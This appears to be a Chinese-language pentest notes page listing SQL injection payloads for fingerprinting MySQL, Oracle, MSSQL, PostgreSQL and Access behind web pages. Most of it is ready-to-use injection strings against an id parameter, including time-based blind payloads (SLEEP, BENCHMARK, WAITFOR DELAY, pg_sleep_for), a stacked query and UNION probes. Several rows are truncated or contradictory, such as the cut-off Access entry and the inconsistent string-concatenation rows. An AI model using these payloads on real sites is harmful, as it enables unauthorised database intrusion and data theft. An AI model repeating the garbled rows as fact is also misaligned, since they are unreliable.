作者 修订时间
wjlin0 2023-07-05 21:37:29
描述 语句
SLEEP函数 page.php?id=1'-SLEEP(1)=0 LIMIT 1 --
BENCHMARK函数 page.php?id=1'-BENCHMARK(5000000, ENCODE('Slow Down','by 5 seconds'))=0 LIMIT 1 --
字符串连接(注意有个空格) page.php?id=' 'mysql' -- page.php?id=' and concat('some','string')
版本信息 select @@version select version()
错误消息(根据返回的错误信息判断) page.php?id='
特有函数 select connection_id() select last_insert_id() select row_count()

Oracle

描述 语句
字符串连接 `page.jsp?id=' 'oracle' -- a`
默认表 page.jsp?id='UNION SELECT 1 FROM v$version -- select banner FROM v$version select banner FROM v$version WHERE rownum=1
错误消息(根据返回的错误信息判断) page.jsp?id='

MSSQL

描述 语句
WAITFOR 函数 page.asp?id=';WAITFOR DELAY '00:00:10'; --
堆叠查询默认变量 page.asp?id=sql'; SELECT @@SERVERNAME --
错误消息(根据返回的错误信息判断) page.asp?id='
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) page.asp?id=@@SERVERNAME
错误消息(如果id参数是整数, 则@@SERVERNAME变量的字符串值可能导致转换错误) page.asp?id=0/@@SERVERNAME
常量 @@pack_received
@@rowcount

PostgreSQL

描述 语句
字符串连接 id=1 and 'a'+'b'='a'
休眠函数 page.jsp?id=' and (select pg_sleep_for('5 sec')) is null -- a

Access

[!Warning]

Access是轻量级数据库,特点是只有单个库,没有用户,单文件即可存储数据,在SQL注入时必须猜测表名和列名。 Access只有联合注入和布尔盲注。

描述 语句
access无法想其他数据库那样只能去猜测数据库命 ......
access空白符 %20,%09,%0A,%0C,%0D

总结经验

方法 描述
常见搭配 asp:sql server,Access
.net :sql server
php:PostgreSQL,Mysql
java:Oracle,Mysql
各数据库标志性信息 sql server:select@@version
Oracle:select banner from v$version
mysql:select @@version,version() -- ,length(user)>0正常
postgresql:select version() --
各数据库特有的函数 sql server: @@pack_received @@rowcount
mysql:connection_id() last_insert_id() row_count()
orcale:bitand(1,1)
postgresql: select extract(dow from now())
对于字符串处理方式 sql server :id=1 and 'a'+'b'='ab' --
mssql:id=1 and 'a'+'b'='ab'
mysql:id=1 and 'a'+'b'='ab' , 'ab'=concat('a','b')
oracle:id=1 and 'a'+'b'='a'
postgresql :id=1 and 'a'+'b'='a'
特定表 mssql,postgresql,mysqlinformation_schema
postgresqlpg_tables =>
mssqlsysobjects
oracleall_tables,user_tables
报错banner信息 ....

参考

results matching ""

    No results matching ""